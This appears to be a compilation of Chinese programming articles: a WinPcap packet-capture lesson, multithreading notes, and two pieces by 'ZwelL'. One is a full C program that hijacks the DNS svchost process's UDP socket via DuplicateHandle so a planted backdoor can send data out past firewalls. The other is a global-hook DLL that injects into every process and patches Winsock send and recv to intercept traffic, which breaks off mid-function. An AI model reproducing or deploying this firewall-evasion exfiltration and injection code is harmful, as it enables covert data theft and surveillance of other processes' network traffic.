现在我们已经知道如何获取一个接口的有关信息了, 我们可以来点真家伙了 -- 打开一个接口并捕捉流量. 在这一课里, 我们会编译一个程序, 它将捕捉网络中所有的数据包并输出他们的一些相关信息。我们使用函数 pcap_open_live() 来打开一个捕捉设备. 这里, 我们需要解释一下 snaplen, promisc 和 to_ms 参数.
( Y- 函数原型: pcap_t * pcap_open_live (char *device, int snaplen, int promisc, int to_ms, char *ebuf) )
"snaplen" 参数指定了要捕捉的数据包的部分. 在某些操作系统中 (如 xBSD 和 Win32), 驱动程序提供了只捕捉每个数据包其中一部分的可能性: 这样就降低了要处理的数据的量, 从而提高了捕捉程序的效率. 在例子中, 我们使用一个高出 MTU 最大值的值 (65536) 以确保可以捕捉到成个数据包.
"promisc" 表明接口将会被设置为混杂模式. 一般情况下, 接口只处理目标地址为自己的数据; 到其他主机的数据包将会被忽略. 然而当一个接口处于混杂模式时, 它将会处理全部的流量: 也就是说, 在共享媒介 ( Y- 才疏学浅, 不知道怎么翻译好 ), 例如非交换型以太网 ( Y- 比如基于集线器的网络 )中, WinPcap 可以捕捉到所有主机的数据包. 混在模式是多数捕捉程序的默认模式, 所以我们在例子中也采用这种模式.
"to_ms" 用以设置超时, 单位是毫秒. 一个从接口读取 ( Y- 捕捉) 的操作, (例如 pcap_dispatch() 或者 pcap_next_ex()), 如果没有捕捉到数据包, 那么在超过指定的时间以后就会返回. 进一步说, 如果接口处在静态模式中, to_ms 也定义了静态报告的间隔时间 (参阅 "Gathering Statistics on the network traffic " 以获取更多信息). 设置 to_ms 为 0, 则说明永远不会超时, 如果没有数据包到达, 那么捕捉操作将会永远不会返回, 而将其值设置为 -1 则会立刻返回.

代码
#include "pcap.h"
/* 数据包处理函数声明 */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
main()
{
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i=0;
pcap_t *adhandle;
char errbuf[PCAP_ERRBUF_SIZE];
/* 获取设备列表 */
if
        (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 数据列表 */
for(d=alldevs; d; d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No
        description available)\n");
}
if(i==0)
{
printf("\nNo interfaces
        found! Make sure WinPcap is installed.\n");
return -1;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
if(inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return -1;
}
/* 转到选择的设备 */
for(d=alldevs, i=0; i<
        inum-1;d=d->next, i++);
/* 打开设备 */
if ( (adhandle= pcap_open_live(d->name, //设备名
65536, // 捕捉完整的数据包
1, // 混在模式
1000, // 读入超时
errbuf // 错误缓冲
) ) == NULL)
{
/* Y- 打开失败*/
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n");
/* 释放列表 */
pcap_freealldevs(alldevs);
return -1;
}
printf("\nlistening on %s...\n", d->description);
/* 我们已经不需要设备列表了, 释放它 */
pcap_freealldevs(alldevs);
/* 开始捕捉 */
pcap_loop(adhandle, 0, packet_handler, NULL);
return 0;
}

/* 处理数据包的回调函数*/
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
struct tm *ltime;
char timestr[16];
/* 转换时间戳为可以阅读的格式 */
ltime=localtime(&header->ts.tv_sec);
strftime( timestr, sizeof timestr, "%H:%M:%S", ltime);
printf("%s,%.6d len:%d\n", timestr, header->ts.tv_usec, header->len);
}

一旦接口被打开, pcap_dispatch() 或者 pcap_loop() 函数将会开始捕捉. 这两个函数非常相似, pcap_dispatch() 将会在超时后直接返回, 而 pcap_loop() 则一定要等到一定数量的数据包被处理了以后才会返回 (Y- 第二个参数指定了要处理的数据包的数量, 0 为无限, 在这里, 我们设置的超时对 pcap_loop() 不起作用.) 在本例中, pcap_loop() 已经足够我们使用了, 而 pcap_dispatch() 一般应用在更复杂的程序里.
这两个函数都有一个回调参数, 只想一个处理数据包的函数, 如本例中的 packet_handler. 每当有新的数据包到来的时候, libpcap将会调用这个函数来处理数据包, libpcap也会提供这个数据包的一些信息: 一个首部, 包含了时间戳和长度信息 (Y-header 参数); 真实数据包 (Y- pkt_data参数), 包括各种协议首部. 请注意, MAC CRC一般不会出现, 因为当设备(网卡)进行帧确认操作时, 它就已经被移除了. 同时, 大部分网卡将会丢弃错误的 CRC, 所以 WinPcap 基本上也不能捕捉他们.
上面的例子只输出每个数据包时间戳以及长度 (来自 pcap_pkthdr header).


一种新的穿透防火墙的数据传输技术
Author : ZwelL
Email : zwell@sohu.com
Date : 2005.4.12
使用该技术背景:
在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么).
针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.
相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:
将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:
1. 找出目标进程
2. 找出SOCKET句柄
2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用.
3. 用转换后的SOCKET进行数据传输
上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也
可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP.
针对不同系统不同进程我们很难定位一个稳定的进程SOCKET.
看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的"黄金大道".
我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被
拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀...
下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子.
编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等.
具体解决方法请细看注释部分...
/*++
Made By ZwelL
zwell@sohu.com
2005.4.12
--*/
#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "ws2_32")
#pragma
        comment(lib, "wtsapi32")
#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef LONG NTSTATUS;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
BOOL LocateNtdllEntry ( void )
{
BOOL ret = FALSE;
char NTDLL_DLL[] = "ntdll.dll";
HMODULE ntdll_dll = NULL;
if ( ( ntdll_dll =
        GetModuleHandle( NTDLL_DLL ) ) == NULL )
{
printf(
        "GetModuleHandle()
        failed");
return( FALSE
        );
}
if ( !(
        ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress(
        ntdll_dll, "ZwQuerySystemInformation" ) ) )
{
goto
        LocateNtdllEntry_exit;
}
ret
        = TRUE;
LocateNtdllEntry_exit:
    if ( FALSE == ret
        )
{
printf( "GetProcAddress() failed");
}
ntdll_dll = NULL;
return(
        ret );
}

/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
// sanity checks and default value
if (pUserSid == NULL)
return false;
strcpy(szUserName, "?");
SID_NAME_USE snu;
TCHAR szUser[_MAX_PATH];
DWORD chUser = _MAX_PATH;
PDWORD pcchUser = &chUser;
TCHAR szDomain[_MAX_PATH];
DWORD chDomain = _MAX_PATH;
PDWORD pcchDomain = &chDomain;
// Retrieve user name and domain name based on user's SID.
if (
::LookupAccountSid(
NULL,
pUserSid,
szUser,
pcchUser,
szDomain,
pcchDomain,
&snu
)
)
{
wsprintf(szUserName, "%s", szUser);
}
else
{
return false;
}
return true;
}

/*++
This routine is used to get the DNS process's Id

Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it's a "NETWORK SERVICE",
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.
--*/
DWORD GetDNSProcessId()
{
PWTS_PROCESS_INFO pProcessInfo = NULL;
DWORD ProcessCount = 0;
char szUserName[255];
DWORD Id = -1;
if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
{
// dump each process description
for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
{
        if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") ==
        0
        )
{
GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid,
        szUserName);
if( strcmp(szUserName, "NETWORK SERVICE") ==
        0)
{
Id =
        pProcessInfo[CurrentProcess].ProcessId;
break;
}
}
}
WTSFreeMemory(pProcessInfo);
}
return Id;
}

/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
HANDLE hProcess = NULL,
hAccessToken = NULL;
TCHAR InfoBuffer[1000], szDomainName[200];
PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
SID_NAME_USE snu;
    hProcess =
        OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
        PID);
if(hProcess == NULL)
{
printf("OpenProcess
        wrong");
CloseHandle(hProcess);
return false;
}
    if(0 ==
        OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
{
printf("OpenProcessToken
        wrong:%08x",
        GetLastError());
return
        false;
}
GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
1000, &dwInfoBufferSize);
LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
&dwAccountSize,szDomainName, &dwDomainSize, &snu);
        if(hProcess)
CloseHandle(hProcess);
if(hAccessToken)
CloseHandle(hAccessToken);
return
        true;
}*/

/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
NTSTATUS status;
PVOID buf = NULL;
ULONG size = 1;
ULONG NumOfHandle = 0;
ULONG i;
PSYSTEM_HANDLE_INFORMATION h_info = NULL;
HANDLE sock = NULL;
DWORD n;
        buf=malloc(0x1000);
if(buf ==
        NULL)
{
printf("malloc
        wrong\n");
return
        NULL;
}
status =
        ZwQuerySystemInformation( 0x10, buf, 0x1000, &n
        );
if(STATUS_INFO_LENGTH_MISMATCH ==
        status)
{
free(buf);
buf=malloc(n);
if(buf ==
        NULL)
{
printf("malloc
        wrong\n");
return NULL;
}
status =
        ZwQuerySystemInformation( 0x10, buf, n, NULL);
}
else
{
printf("ZwQuerySystemInformation
        wrong\n");
return
        NULL;
}
NumOfHandle = *(ULONG*)buf;
h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
for(i = 0; i<NumOfHandle ;i++)
{
try
{
if( ( h_info[i].ProcessId == PID ) && ( h_info[i].ObjectTypeNumber == 0x1c )
&& (h_info[i].Handle!=0x2c) // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
// So I jump over this situation...
// May be it's different in your system,
) //wind2000 is 0x1a
{
//printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
if( 0 == DuplicateHandle(
OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
(HANDLE)h_info[i].Handle,
GetCurrentProcess(),
&sock,
STANDARD_RIGHTS_REQUIRED,
true,
DUPLICATE_SAME_ACCESS)
)
{
printf("DuplicateHandle wrong:%8x", GetLastError());
continue;
}
        //printf("DuplicateHandle
        ok\n");
sockaddr_in name =
        {0};
name.sin_family =
        AF_INET;
int namelen =
        sizeof(sockaddr_in);
getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen
        );
//printf("PORT=%5d\n",    ntohs( name.sin_port ));
if(ntohs(name.sin_port)>0)    // if port > 0, then
        we can use
        it
break;
}
}
catch(...)
{
continue;
}
}
    if ( buf != NULL
        )
{
free( buf );
}
return
        (SOCKET)sock;
}

/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);
AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;
    CloseHandle
        (hToken);
return rv;
}
void main()
{
WSADATA wsaData;
char testbuf[255];
SOCKET sock;
sockaddr_in RecvAddr;
int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
printf("Error at WSAStartup()\n");
if(!LocateNtdllEntry())
return;
    if(!EnablePrivilege
        (SE_DEBUG_NAME))
{
printf("EnablePrivilege
        wrong\n");
return;
}
    sock =
        GetSocketFromId(GetDNSProcessId());
if(
        sock==NULL)
{
printf("GetSocketFromId
        wrong\n");
return;
}
//Change there value...
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(5555);
RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
if(SOCKET_ERROR == sendto(sock,
"test",
5,
0,
(SOCKADDR *) &RecvAddr,
sizeof(RecvAddr)))
{
printf("sendto wrong:%d\n", WSAGetLastError());
}
else
{
printf("send ok... Have fun, right? ^_^\n");
}

getchar();
//WSACleanup();
return;
}
很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,
因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,
但是怎么也不行,所以换个方法.用到了wtsapi32库函数.
再用下面的代码测试:

/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
void main()
{
WSADATA wsaData;
SOCKET RecvSocket;
sockaddr_in RecvAddr;
int Port = 5555;
char RecvBuf[1024];
int BufLen = 1024;
sockaddr_in SenderAddr;
int SenderAddrSize = sizeof(SenderAddr);
//-----------------------------------------------
// Initialize Winsock
WSAStartup(MAKEWORD(2,2), &wsaData);
//-----------------------------------------------
// Create a receiver socket to receive datagrams
RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
//-----------------------------------------------
// Bind the socket to any address and the specified port.
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(Port);
RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));
//-----------------------------------------------
// Call the recvfrom function to receive datagrams
// on the bound socket.
printf("Receiving datagrams...\n");
while(1)
{
recvfrom(RecvSocket,
RecvBuf,
BufLen,
0,
(SOCKADDR *)&SenderAddr,
&SenderAddrSize);
printf("%s\n", RecvBuf);
}
//-----------------------------------------------
// Close the socket when finished receiving datagrams
printf("Finished receiving. Closing socket.\n");
closesocket(RecvSocket);
        //-----------------------------------------------
// Clean up
        and exit.
printf("Exiting.\n");
WSACleanup();
return;
}

测试步骤:
1. 在一台机器上执行UdpReceiver,
2. 在安装防火墙的机器上执行第一个程序.
有什么问题,希望大家可以交流交流...^_^


多线程编程笔记

作者：allan_sun

一、创建一个线程
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
参数1：指向SECURITY_ATTRIBUTES结构体的指针。这里可以设置为NULL,使用缺省的安全性。
参数2：指定初始提交的栈的大小，以字节为单位。系统会将这个值四舍五入为最近的页面。
（页面：是系统管理内存时使用的内存单位，不同的CPU其页面大小也是不同的。X86
使用的页面大小是4KB。当保留地址空间的一个区域时，系统要确保该区域的大小是
系统的页面大小的倍数）
如果该值是0或者小于缺省提交大小，则使用和调用线程一样的大小。
参数3：指向LPTHREAD_START_ROUTINE(应用程序定义的函数类型）的指针。这个函数将被线程
执行，表示了线程的起始地址。看线程入口函数ThreadProc。
参数4：指定传递给线程的单独的参数的值。
参数5：指定控制线程创建的附加标记。如果CREATE_SUSPENDED标记被指定，线程创建后处于暂停
状态不会运行，直到调用了ResumeThread函数。
如果该值是0，线程在创建之后立即运行。
参数6：[out]指向一个变量用来接收线程的标识符。创建一个线程时，系统会为线程分配一个ID号。
Windows NT/2000:如果这个参数是NULL,线程的标识符不会返回。
Windows 95/98 :这个参数不能是NULL
如果函数执行成功，返回新线程的句柄。

二、编写线程函数
可参考ThreadProc:
DWORD WINAPI ThreadProc(
LPVOID lpParameter
); 类型和参数要匹配，函数名任意。三、关闭线程句柄
BOOL CloseHandle(
HANDLE hObject
); 注意：关闭句柄并没有终止新创建的线程。只是表示对新创建的线程的引用不敢兴趣，系统会递减新 线程的线程内核对象的使用计数。当使用计数为0的时候，系统就会释放线程内核对象。如果 在主线程中没有关闭线程的句柄，始终都会保留一个引用。这样线程内核对象的引用计数就不会 为0。即使新线程执行完毕，线程内核对象也不会被释放，只有等到进程终止的时候系统才会为 残留的对象做清理工作。所以应该在不再使用线程的句柄的时候将其关闭掉，让线程的线程内核 对象的引用计数减1。
四、暂停线程的执行 当线程暂停执行的时候，也就是表示它放弃了执行的权力。操作系统会从等待运行的线程队列中选择 一个线程来运行。新创建的线程就可以得到运行的机会。 可以使用函数Sleep: void Sleep(
DWORD dwMilliseconds //sleep time 以毫秒为单位
);
暂停当前线程指定时间间隔的执行。


模拟WSockExpert,使用APIHOOK

不知道大家用过WSockExpert没有, 它可以用来截获指定进程网络数据的传输.
前面我还以为它是通过实时远程注入DLL来更改IAT. 不过后来发现在程序一运行时,
它就已经将DLL插入所有进程了,这个跟冰哥写的那个模拟SOCKCAP的程序很相似.
似乎是将DLL注入所有进程, 不过再想一下, 如果是这样的话,那么后来启动的程序
应该不会被注入DLL(除非用定时^_^,这样就太麻烦了), 考虑到这些, 我估计它是
用的HOOK,用HOOK的话就有一点方便:不必考虑有没有读写权限的问题. 也就免
了一些麻烦.
我在BCB环境中用APIHOOK模拟了一个类似的程序,通过HOOK将DLL插入所有
进程,然后截获WINSOCK API.中间遇到了一些问题,参考了冰哥的SOCKCAP和
EYAS大哥的XHOOK. 在XHOOK中将原始DLL做了一个备份, 在执行API时并没有先
将API地址还原,而是直接调用了备份的函数, 这样提高了执行效率.厉害, :-)
以后再改,先放上一个简单的演示,大家可以对它进行修改扩展功能:

DLL代码:
//---------------------------------------------------------------------------
//
        Mady By ZwelL
// 2004.8
// zwell@sohu.com
//---------------------------------------------------------------------------
#include
        <Winsock2.h>
#include <stdio.h>
#pragma argsused
//自定义APIHOOK结构
typedef struct
{
FARPROC funcaddr;
BYTE olddata[5];
BYTE newdata[5];
}HOOKSTRUCT;
HHOOK
        g_hHook;
HINSTANCE
        g_hinstDll;
HMODULE     hModule
        ;
HANDLE      g_hForm;
        //接收信息窗口句柄
DWORD       dwIdOld,
        dwIdNew;
//------------------------------------------------------------------------
// 由于要截获两个库里面的函数,所以每个函数定义了两个HOOK结构
// 在编程过程中因为没有考虑到这个问题,导致很多包没有截获到,
// 后来想到了冰哥在模仿SOCKCAP的程序中每个函数截了两次才明白
// 一个是wsock32.dll, 一个是ws2_32.dll
//------------------------------------------------------------------------
HOOKSTRUCT recvapi;
HOOKSTRUCT recvapi1;
HOOKSTRUCT sendapi;
HOOKSTRUCT sendapi1;
HOOKSTRUCT sendtoapi;
HOOKSTRUCT sendtoapi1;
HOOKSTRUCT WSASendapi;
void HookOn();
void HookOff();
BOOL Init();
extern "C" __declspec(dllexport) __stdcall
BOOL InstallHook();
extern "C" __declspec(dllexport) __stdcall
BOOL UninstallHook();
BOOL hookapi(char *dllname, char *procname, DWORD myfuncaddr, HOOKSTRUCT *hookfunc);
int WINAPI Myrecv(SOCKET s, char FAR *buf, int len, int flags);
int WINAPI Myrecv1(SOCKET s, char FAR *buf, int len, int flags);
int WINAPI Mysend(SOCKET s, char FAR *buf, int len, int flags);
int WINAPI Mysend1(SOCKET s, char FAR *buf, int len, int flags);
int WINAPI Mysendto(SOCKET s, const char FAR * buf, int len,
int flags, const struct sockaddr FAR * to, int tolen);
int WINAPI Mysendto1(SOCKET s, const char FAR * buf, int len,
int flags, const struct sockaddr FAR * to, int tolen);
int WINAPI MyWSASend(
SOCKET s,
LPWSABUF lpBuffers,
DWORD dwBufferCount,
LPDWORD lpNumberOfBytesSent,
DWORD dwFlags,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
);
void sndmsg(char *buf);
//---------------------------------------------------------------------------
// 入口函数
// 在一载入库时就进行API截获
// 释放时还原
//---------------------------------------------------------------------------
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
g_hinstDll = hinst;
g_hForm = FindWindow(NULL, "ZwelL");
if(!Init())
{
MessageBoxA(NULL,"Init","ERROR",MB_OK);
return(false);
}
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UninstallHook();
break;
}
return TRUE;
}
//-----------------------------------------------------------------------
BOOL
        Init()
{
hookapi("wsock32.dll", "recv",
        (DWORD)Myrecv, &recvapi);
hookapi("ws2_32.dll", "recv", (DWORD)Myrecv1,
        &recvapi1);
hookapi("wsock32.dll", "send",
        (DWORD)Mysend, &sendapi);
hookapi("ws2_32.dll", "send", (DWORD)Mysend1,
        &sendapi1);
hookapi("wsock32.dll", "sendto",
        (DWORD)Mysendto, &sendtoapi);
hookapi("ws2_32.dll", "sendto", (DWORD)Mysendto1,
        &sendtoapi1);
hookapi("wsock32.dll",
        "WSASend", (DWORD)MyWSASend, &WSASendapi);
dwIdNew = GetCurrentProcessId(); // 得到所属进程的ID
dwIdOld = dwIdNew;
HookOn(); //
        开始拦截
return(true);
}
//---------------------------------------------------------------------------
LRESULT
        WINAPI Hook(int nCode, WPARAM wParam, LPARAM
        lParam)
{
return(CallNextHookEx(g_hHook, nCode,
        wParam,
        lParam));
}
//---------------------------------------------------------------------------
extern
        "C" __declspec(dllexport) __stdcall
BOOL
        InstallHook()
{
g_hHook =
        SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)Hook, g_hinstDll,
        0);
if (!g_hHook)
{
MessageBoxA(NULL, "SET
        ERROR", "ERROR", MB_OK);
return(false);
}
return(true);
}
//---------------------------------------------------------------------------
extern
        "C" __declspec(dllexport) __stdcall
BOOL
        UninstallHook()
{
HookOff();
if(g_hHook ==
        NULL)
return
        true;
return(UnhookWindowsHookEx(g_hHook));
}
//---------------------------------------------------------------------------
// 根据输入结构截获API
//---------------------------------------------------------------------------
BOOL hookapi(char *dllname, char *procname, DWORD myfuncaddr, HOOKSTRUCT *hookfunc)
{
hModule = LoadLibrary(dllname);
hookfunc->funcaddr = GetProcAddress(hModule, procname);
if(hookfunc->funcaddr == NULL)
return false;
    memcpy(hookfunc->olddata,
        hookfunc->funcaddr, 6);
hookfunc->newdata[0]
        = 0xe9;
DWORD jmpaddr = myfuncaddr -
        (DWORD)hookfunc->funcaddr - 5;
memcpy(&hookfunc->newdata[1], &jmpaddr,
        5);
return
        true;
}
//---------------------------------------------------------------------------
void
        HookOnOne(HOOKSTRUCT *hookfunc)
{
HANDLE
        hProc;
dwIdOld = dwIdNew;
hProc = OpenProcess(PROCESS_ALL_ACCESS, 0,
        dwIdOld);
VirtualProtectEx(hProc,
        hookfunc->funcaddr, 5,
        PAGE_READWRITE,&dwIdOld);
WriteProcessMemory(hProc, hookfunc->funcaddr, hookfunc->newdata,
        5, 0);
VirtualProtectEx(hProc,
        hookfunc->funcaddr, 5, dwIdOld,
        &dwIdOld);
}
//---------------------------------------------------------------------------
void
        HookOn()
{
HookOnOne(&recvapi);
HookOnOne(&sendapi);
HookOnOne(&sendtoapi);
HookOnOne(&recvapi1);
HookOnOne(&sendapi1);
HookOnOne(&sendtoapi1);
HookOnOne(&WSASendapi);
}
//---------------------------------------------------------------------------
void
        HookOffOne(HOOKSTRUCT *hookfunc)
{
HANDLE
        hProc;
dwIdOld = dwIdNew;
hProc = OpenProcess(PROCESS_ALL_ACCESS, 0,
        dwIdOld);
VirtualProtectEx(hProc,
        hookfunc->funcaddr,5, PAGE_READWRITE,
        &dwIdOld);
WriteProcessMemory(hProc,
        hookfunc->funcaddr, hookfunc->olddata, 5,
        0);
VirtualProtectEx(hProc, hookfunc->funcaddr,
        5, dwIdOld, &dwIdOld);
}
//---------------------------------------------------------------------------
void
        HookOff()
{
HookOffOne(&recvapi);
HookOffOne(&sendapi);
HookOffOne(&sendtoapi);
HookOffOne(&recvapi1);
HookOffOne(&sendapi1);
HookOffOne(&sendtoapi1);
HookOffOne(&WSASendapi);
}
//---------------------------------------------------------------------------
int
        WINAPI Myrecv(SOCKET s, char FAR *buf, int len, int
        flags)
{
int nReturn;
HookOffOne(&recvapi);
nReturn = recv(s, buf,
        len, flags);
HookOnOne(&recvapi);
    char *tmpbuf=new
        char[len+100];
memset(tmpbuf, 0,
        sizeof(tmpbuf));
sprintf(tmpbuf,
        "recv|%d|%d|%s",
GetCurrentProcessId(),
len,
buf);
sndmsg(tmpbuf);
delete
        tmpbuf;
return(nReturn);
}
//---------------------------------------------------------------------------
int
        WINAPI Myrecv1(SOCKET s, char FAR *buf, int len, int
        flags)
{
int nReturn;
HookOffOne(&recvapi1);
nReturn = recv(s, buf,
        len, flags);
HookOnOne(&recvapi1);
    char *tmpbuf=new
        char[len+100];
memset(tmpbuf, 0,
        sizeof(tmpbuf));
sprintf(tmpbuf,
        "recv1|%d|%d|%s",
GetCurrentProcessId(),
len,
buf);
sndmsg(tmpbuf);
delete
        tmpbuf;
return(nReturn);
}
//---------------------------------------------------------------------------
int
        WINAPI Mysend(SOCKET s, char FAR *buf, int len, int
        flags)
{
int nReturn;
HookOffOne(&sendapi);
nReturn = send(s, buf,
        len, flags);
HookOnOne(&sendapi);
    char *tmpbuf=new
        char[len+100];
memset(tmpbuf, 0,
        sizeof(tmpbuf));
sprintf(tmpbuf,
        "send|%d|%d|%s",
GetCurrentProcessId(),
len,
buf);
sndmsg(tmpbuf);
delete
        tmpbuf;
return(nReturn);
}
//---------------------------------------------------------------------------
int
        WINAPI Mysend1(SOCKET s, char FAR *buf, int len, int
        flags)
{
int nReturn;
HookOffOne(&sendapi1);
nReturn = send(s, buf,
        len, flags);
HookOnOne(&sendapi1);
char *tmpbuf=new char[len+100];
memset(tmpbuf, 0, sizeof(tmpbuf));
sprintf(tmpbuf, "send1|%d|%d|%s",
GetCurrentProcessId(),
len,
buf);
sndmsg(tmpbuf);
delete tmpbuf;
return(nReturn);
}
//--------------------------------------------------------------------------
int WINAPI Mysendto(SOCKET s, const char FAR * buf, int len,
int flags, const struct sockaddr FAR * to, int tolen)
{
int nReturn;
HookOffOne(&sendtoapi);
nReturn = sendto(s, buf, len, flags, to, tolen);
HookOnOne(&sendtoapi);
char *tmpbuf=new char[len+100];
memset(tmpbuf, 0, sizeof(tmpbuf));
sprintf(tmpbuf, "sendto|%d|%d|%s",
GetCurrentProcessId(),
len,
buf);
sndmsg(tmpbuf);
delete tmpbuf;
return(nReturn);
}
//--------------------------------------------------------------------------
int WINAPI Mysendto1(SOCKET s, const char FAR * buf, int len,
int flags, const struct sockaddr FAR * to, int tolen)
{
int nReturn;
HookOffOne(&sendtoapi1);
nReturn = sendto(s, buf, len, flags, to, tolen);
HookOnOne(&sendtoapi1);
char *tmpbuf=new char[len+100];
memset(tmpbuf, 0, sizeof(tmpbuf));
sprintf(tmpbuf, "sendto1|%d|%d|%s",
GetCurrentProcessId(),
len,
buf);
sndmsg(tmpbuf);
delete tmpbuf;
return(nReturn);
}
//----------------------------------------------------------------------------
int WINAPI MyWSASend(
SOCKET s,
LPWSABUF lpBuffers,
DWORD dwBufferCount,
LPDWORD lpNumberOfBytesSent,
DWORD dwFlags,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
)
{
int nReturn;
HookOffOne(&WSASendapi);
nReturn = WSASend(s, lpBuffers, dwBufferCount,
lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
HookOnOne(&WSASendapi);
char *tmpbuf=new char[*lpNumberOfBytesSent+100];
memset(tmpbuf, 0, sizeof(tmpbuf));
sprintf(tmpbuf, "WSASend|%d|%d|%s",
GetCurrentProcessId(),
lpNumberOfBytesSent,
lpBuffers->buf);
sndmsg(tmpbuf);
delete tmpbuf;
return(nReturn);
}
//-----------------------------------------------------------------
//
        向窗口发送消息
// 考虑到简单性,用了COPYDATASTRUCT结构
//
        用内存映射应该会快一点
//-----------------------------------------------------------------
void
        sndmsg(char *buf)
{
COPYDATASTRUCT
        cds;
cds.dwData=sizeof(COPYDATASTRUCT);
cds.cbData=strlen(buf);
cds.lpData=buf;
